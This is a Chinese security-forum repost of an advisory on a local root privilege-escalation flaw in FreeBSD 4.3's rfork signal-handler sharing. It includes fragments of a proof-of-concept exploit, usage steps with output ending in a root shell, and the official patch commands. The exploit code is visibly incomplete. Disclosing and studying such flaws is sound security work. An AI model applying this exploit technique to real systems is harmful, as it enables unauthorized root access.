论坛: 菜鸟乐园 标题: 转:本地攻击者利用FreeBSD4.3设计漏洞取得系统特权 复制本贴地址    
作者: clown [clown]    论坛用户   登录
发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。问题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。 
利用此漏洞,本地攻击者能取得 root 权限。 
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负 
-------------vvfreebsd.c---------------------- 
/} 

printf("vvfreebsd. Written by Georgi Guninski\n"); 
printf("shall jump to %x\n",vv1); 
if(!(pid=rfork(RFPROC|RFSIGSHARE))) 

printf("child=%d\n",getpid()); 
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell 
// if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) 
kill(pid,MYSIG); 
printf("done\n"); 
while(42); 

............................... 
......................... 
............. 
受影响版本: 
FreeBSD 4.3 4.2 4.1 4.0 
早期版本也许受影响 
解决方案: 
尚无 
****** 2001-07-14 add by NetDemon(netdemon@20cn.net) ****** 
测试程序使用方法: 
netdemon%gcc -o vvbsd vvbsd.c 
netdemon%cp /bin/sh /tmp 
netdemon%./vvbsd 
vvfreebsd. Written by Georgi Guninski 
shall jump to bfbffe71 
child=61056 
login: 
login: # done 

FreeBSD以此作出补丁 
方法: 
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch 
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch.asc 
# cd /usr/src/sys/kern 
# patch -p < /path/to/patch 

地主 发表时间: 02/06 20:24

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号